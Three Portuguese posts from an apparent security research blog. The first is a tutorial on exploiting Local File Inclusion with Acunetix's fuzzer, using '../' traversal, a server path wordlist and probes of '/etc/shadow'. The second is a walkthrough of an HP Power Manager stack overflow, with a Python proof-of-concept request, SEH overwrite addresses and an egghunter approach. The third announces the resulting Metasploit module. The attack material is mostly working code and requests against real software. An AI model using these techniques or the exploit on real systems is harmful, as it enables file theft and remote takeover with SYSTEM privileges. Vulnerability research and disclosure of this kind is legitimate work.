quinta-feira, 29 de dezembro de 2011

Acunetix LFI Pos Exploitation - Downloading Files Structure Part 1


Olá pessoal! Pra comemorar meu aniversário, nada melhor que um post \o/

Neste artigo vou mostrar uma funcionalidade do Acunetix que eu acho bem interessante, o HTTP fuzzer.

Além de fazer o fuzzing de aplicações web e do protocolo http em si, poderemos usá-lo para explorar de forma bem efetiva uma falha conhecida como LFI ou Local File Include.

Deixei as referências da falha no link acima, caso você ainda não conheça a falha. Vamos ao que interessa:

Na tela principal do Acunetix, tanto na versão 7 quanto na 8 a feature pode ser localizada no lado esquerdo como mostrado na figura abaixo:



















Entendendo o fuzzer e montando a url:

Não vamos usar o fuzzer como um scanner, até daria, mas o próprio acunetix no seu core já faz isso muito bem, a ideia aqui é utilizar o fuzzer para extrair o maior número de informações possíveis do host alvo.

Na tela principal do Fuzzer (Requests) é mostrada uma típica requisição HTTP

GET http://hostname/path HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)
Accept: */*

Usaremos este espaço para montar nossa requisição afim de explorar o LFI, além disso, como o campo é liberado, podemos adicionar e/ou alterar
headers. Neste ponto você já deve saber qual a URL do LFI, como exemplifícado abaixo:

GET http://lfi.dc/lfi.php?pag= HTTP/1.1

User-Agent: Mozilla/4.0 (DcLabs)
Accept: */*

Logo, para exploração do LFI será usada a url
http://lfi.dc/lfi.php?pag= onde pag é a variável onde se encontra a falha. Troquei o User-Agent apenas para mostrar que os headers podem ser alterados/adicionados sem problemas.


Criado e configurando os Generators Como isto é um fuzzer evidentemente ele precisa  gerar strings, ints, chars repetidos e coisas do tipo, mas como foi dito acima, não vamos scanear e nem fuzzear nada, logo, vamos dar uma nova função para os generators, inicialmente precisaremos de dois, claro que, para ataques mais complexos serão necessários mais generators.

Character repeater e File generator

Como o próprio nome diz, o Character repeater vai repetir quantas vezes quisermos um determinado caracter ou string. Sendo assim, vamos preencher os campos para criação, use nomes intuitivos para cada generator, quando se tem vários, realmente fica complicado saber o que eles fazem usando apenas o nome padrão que o Acunetix gera, Gen_N, onde N é um número sequencial.

Name: dotslash => Nome intuitivo
Character/String: ../ => Se você não sabe o porque da utilização da string “../../” sugiro que volte ao inicio do artigo e leia a referência sobre LFI.
Initial count:1 => Irá iniciará o processo com a string ../../ uma vez
Final count:2 => Máximo de repetições da string ../../
Increment:1 => Incremento do contador da string
Encoding: None

Este generator foi configurado para um ataque
clássico de LFI, logo, o campo Initial count deve ser configurado de acordo com a quantidade de “dotslash’s” encontrados  para exploração da falha. Não precisaremos encodar a string neste caso, por isso o campo Encoding foi setado como None. Usar URL Encoding e base64 é uma boa opção para evasão de possíveis filtros.O segundo generator(File Generator), vai ler informações de um txt ou xml linha a linha, sendo assim, usaremos uma lista de nome de arquivos que provavelmente existem no servidor atacado. A idéia para montar essa lista foi simples, foi executado o comando abaixo em diversas distribuições e com diversas aplicações instaladas, como  Apache, mysql, wordpress, cacti, nagios,oracle e etc.

find / -type f > wordlist.txt

Depois  foi feito um append das listas e retiradas as linhas iguais, além disso, removida a  primeira “/” do arquivo final devido ou uso da string “../../”.

Completando os campos deste generator:

Name: filenames_wordlist => Nome intuitivo
Fileaname: wordlist.txt => Nome da sua wordlist
Filetype: txt => Tipo da sua wordlist
Encoding:nome => Mesmo esquema do Character repeater




Depois dos generators devidamente criados e configurados, é necessário adiciona-los ao request http:

Posicione o cursor logo depois de pag=, selecione o generator dotslash e clique em Insert Into Request, repita o processo para o filesnames_wordlist.
O resultado deverá ser algo assim:

GET http://lfi.dc/lfi.php?pag=${dotslash}${filenames_wordlist} HTTP/1.1

User-Agent: Mozilla/4.0 (DcLabs)
Accept: */*

Antes de iniciar a exploração, é interessante que sejam criados filtros para que sejam separados somente os resultados relavantes do ataque. Isso pode ser feito pela aba
Fuzzer Filters.Já existem dois filtros por padrão, Include Internal Server Error e Invalid username/password combination, este segundo, para o caso do LFI não será necessário, basta selecionar e deletar.

Criando e configurando filtros:

Rule Description: Failed to open => Nome intuitivo para o filtro(Mesmo caso dos generators)
Rule type: Exclusion => Caso o request caia na regra, será excluído do relatório
Apply to: Response => Onde a regra  fará o match, neste caso ele irá procurar a string em qualquer porte da resposta enviada pelo servidor.
Regular Expression: failed to open stream => Neste campo é preenchido com a string que fará match com a resposta do servidor e excluirá do report final, usei a string “failed to open stream” pelo fato de ser um erro genérico do PHP, quando um arquivo não é encontrado, não se tem permissão para acessá-lo ou qualquer outro motivo pelo qual o arquivo não pode ser lido:
Erro de permissão:
Warning: include(../../../etc/shadow) [function.include]: failed to open stream: Permission denied in /var/www/t.php on line 6

Warning: include() [function.include]: Failed opening '../../../etc/shadow' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/t.php on line 6 

Arquivo não existe:
Warning: include(../../../etc/dclabs) [function.include]: failed to open stream: No such file or directory in /var/www/t.php on line 6


Warning: include() [function.include]: Failed opening '../../../etc/dclabs' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/t.php on line 6 
Assim, filtramos várias possibilidades com uma única regra, depois de pronto clique em Add. Caso precise alterar a regra selecione a regra em questão e clique em update.

Lembrando que, esta regra foi feita para tratar uma erro genérico do
PHP, é bem possível que sejam encontrados códigos que tem o tratamento feito pelo programador, ou seja, seu filtro deverá ser ajustado de acordo com a mensagem de erro retornada pela aplicação.

Pronto, agora é só clicar no start  e colher os arquivos encontrados no servidor alvo.

Existem outros trick´s que vou mostrar no próximo post. Resolvi dividir em duas partes para que o artigo não fique cansativo.
O HTTP Fuzzer está liberado na versão Free do Acunetix. Fiz um vídeo que mostra a ferramenta em execução com uma wordlist menor:
 http://youtu.be/z357C_8H3Mc 






O próximo passo, além da parte 2, é escrever um código que faça este mesmo trabalho para ser integrado ao metasploit.

Lili, muito obrigado pela revisão! \o/ Qualquer dúvida #dclabs @ freenode Twitter: @crashbrz Até a próxima pessoal.

sexta-feira, 4 de novembro de 2011

HP Power Manager 'formExportDataLogs' Buffer Overflow analysis

Olá a todos!

Irei descrever neste artigo como foi minha experiência com a análise de um advisory, a identificação e criação do trigger(poc) e consequentemente a escrita de um exploit para a falha.

Gostaria de ressaltar que este artigo não terá explicações conceituais sobre as técnicas de exploração e quaisquer outros detalhes teóricos. Vou focar totalmente na prática, desde a análise até a criação e execução do exploit.
Para conceitos/teorias e informações adicionais, irei dedicar uma área para referências no final do artigo.

O SOFTWARE (HP Power Manager)

Vamos ao que interessa!
No início de 2010, o pesquisador integrante do grupo Secunia, Alin Rad Pop, descobriu a falha no software HP Power Manager descrita abaixo:

"Secunia Research has discovered a vulnerability in HP Power Manager,
which can be exploited by malicious people to compromise a vulnerable
system.
The vulnerability is caused due to a boundary error when processing
parameters sent to the /goform/formExportDataLogs URL. This can be
exploited to cause a stack-based buffer overflow via an overly long
"fileName" parameter."

Como descrito acima e em mais detalhes aqui e aqui, a vulnerabilidade é causada devido a uma falta de controle no tamanho de uma variável quando parâmetros específicos são enviados para a URL /goform/formExportDataLogs. A exploração desta falha pode causar um stack-based buffer overflow através do envio de uma longa string na variável "fileName", que permite a atacantes executar comandos remotos com os privilégios de 'SYSTEM'.

Muitos advisories nos dias atuais são vagos e realmente não ajudam o pesquisador ou desenvolvedor de exploits a localizar onde a falha se encontra e como criar o trigger. Eu costumo chamar esses tipos de advisories de "Advisories comerciais", onde os mesmos, tem apenas o intuito de informar publicamente que a falha foi descoberta em um determinado produto sem nenhum (ou quase nenhum) detalhe adicional (exemplo1, exemplo2).

No caso da vulnerabilidade analisada, o advisory foi bem claro em sua descrição, portanto, localizar o trigger e reproduzir o ambiente não foi uma tarefa tão complicada.

Depois de alguns momentos analisando os requests feitos através da interface de gerenciamento web do programa consegui localizar o parâmetro e URL descritos no advisory, como mostra a figura abaixo:



POC (Proof Of Concept)

Após ter encontrado a URL que processa o request tudo se torna mais fácil e assim podemos partir para o próximo passo que será criar o poc baseado nas informações obtidas:

#!/usr/bin/python
# Rodrigo Escobar (ipax)
# DcLabs Security Research Group
#
# HP Power Manager "formExportDataLogs" Buffer Overflow

import socket
import sys
import time, struct

host = "192.168.2.1"
port = 80

buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"

post = "POST /goform/formExportDataLogs HTTP/1.1\r\n"
post += "Host: " + host + ":" + str(port) + "\r\n"
post += "Connection: keep-alive\r\n"
post += "Referer: http://" + host + "/Contents/exportLogs.asp?logType=Application\r\n"
post += "Content-Type: application/x-www-form-urlencoded\r\n\r\n"
post += "dataFormat=comma&exportto=file&fileName=" + buffer + "&bMonth=11&bDay=01&bYear=2011&eMonth=11&eDay=01&eYear=2011&LogType=Application&actionType=1%3B"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Trying to establish connection..."

try:
s.connect((host, port))
print " [+] Sending payload..."
except:
print "[X] Couldn't connect to: " + host + ":" + str(port)
else:
time.sleep(1)

s.send(post)
print " [+] Payload sent! Go grab a coffee, the CPU is gonna work hard for you! :)"

s.close()

# END OF POC

POC também pode ser acessado aqui.

Para saber exatamente onde o software estava crashando utilizei o mona para criar uma simples pattern de 2000 bytes e coloquei como valor na variável buffer.

Após a execução do POC, podemos constatar algumas particularidades interessantes no crash ocorrido:



  1. SEH foi sobrescrito com a nossa pattern e se perceber, fomos capazes de escrever alguns bytes após sobrescrever a chain.
  2. !mona localizou a nossa pattern sobrescrevendo SEH (755 bytes).

SEH sendo sobrescrito com nossa pattern (2000 bytes) [1]

Mona localizando a pattern enviada [2]

Após uma breve análise, constatei que a melhor técnica a ser utilizada nesse caso seria um SEH overwrite, ja que conseguimos sobrescrevê-lo como mostra a figura acima.

POP # POP # RET

Em teoria para explorar uma vulnerabilidade utilizando esta técnica (SEH overwrite), você precisa de uma sequência de instruções que consigam triggar um POP / POP / RET ou qualquer outra sequência que possua a mesma funcionalidade como, por exemplo, um ADD ESP,8 / RET e outras.

Seguindo esta linha de raciocínio, o próximo passo foi localizar essa sequência de instruções na lista de executable modules dentro do software. Isto pode ser feito manualmente através do search de seu debugger, ou utilizando o mona.

Após alguns testes, foi constatado que existiam apenas 2 endereços estáveis com esta sequência de instruções pop # pop # ret que poderiam ser utilizados. (Ambos localizados com o mona)

0x004174d5 : pop esi # pop ebx # ret 10 | startnull {PAGE_EXECUTE_READ} [DevManBE.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\HP\Power Manager\DevManBE.exe)
0x00417cb5 : pop esi # pop ebx # ret 10 | startnull {PAGE_EXECUTE_READ} [DevManBE.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\HP\Power Manager\DevManBE.exe)

Como podemos notar, os endereços possuem um null byte e isto é um grande problema (na maioria dos casos). Caso o null byte estivesse no meio do endereço teríamos que localizar outro "pop#pop#ret" pois algumas funções tais como strcpy(), consideram o null byte como o caracter terminador de uma string. Neste caso o null byte está no começo, e como os endereços são lidos em little-endian (podemos fazer uma sobrescrita parcial do SEH resultando em "\xd5\x74\x41\x00" ou "\xb5\x7c\x41\x00") .

PORTANDO EXPLOIT PARA O METASPLOIT

Tendo grande parte da lógica pronta e com a idéia de portar para o metasploit em mente (ps: devia ter começado a codar direto para o msf e não fazer em python e depois portar), existem algumas regras que temos que seguir para garantir a reliability (estabilidade) do exploit, ou seja, a equipe de desenvolvimento de exploits da metasploit, precisa fazer um quality assurance no exploit para verificar a sua reliability (estabilidade) garantindo que o exploit funcione 100%.

Uma das caracteristicas que seu exploit precisa ter para ser aceito na árvore do metasploit, é ter espaço suficiente na stack / heap, para que praticamente todos os payloads existentes no framework sejam capazes de ser executados (principalmente meterpreter e outros, tais como, reverse_tcp, bind_tcp e outros).

Existem também outras particularidades, assim como, utilização de funções próprias do MSF, verificação minuciosa de BadChars (Não descrito neste artigo, mas vou colocar como referência), quantidade de colunas por linha e etc. Um manual escrito pelos membros do metasploit sobre estas particularidades por ser encontrado aqui.

EGGHUNTER

Para tornar o exploit mais estável tive que adicionar um egghunter.
Em teoria um egghunter nada mais é do que uma sequência de instruções que procura em todos endereços da memória uma tag predefinida que contêm o seu shellcode a partir desta tag. (PS: normalmente, utilizamos um memory leak para injetar a tag+shellcode na heap, pois se é possível colocar o shellcode na stack, não há necessidade de utilizar um egghunter para o tal devido ao tempo de processamento para localizar o egg na memória)

PWNAGE TIME!

Sem mais delongas, o resultado tão esperado :)


BANG!! SYSTEM privileges! pwned! =)

Ou então, se voce sempre mantém o metasploit atualizado, poderá encontrá-lo no revision 14015 -> modules/exploits/windows/http/hp_power_manager_filename.rb

REFERÊNCIAS


AGRADECIMENTOS

Membros do DcLabs
corelanc0d3r e corelan team
sinn3r

Espero que tenham gostado do artigo. Pretendo futuramente, publicar novas pesquisas e análises feitas em diversos outros advisories resultando ou não em remote command execution.

Rodrigo Escobar (ipax) {ipax [at] dclabs.com.br}

segunda-feira, 24 de outubro de 2011

HP Power Manager Exploit

É com muito prazer e orgulho que posto aqui o primeiro exploit do DcLabs incluído no MetaSploit Frame Work Abaixo o link para rb: http://t.co/l9DjzQei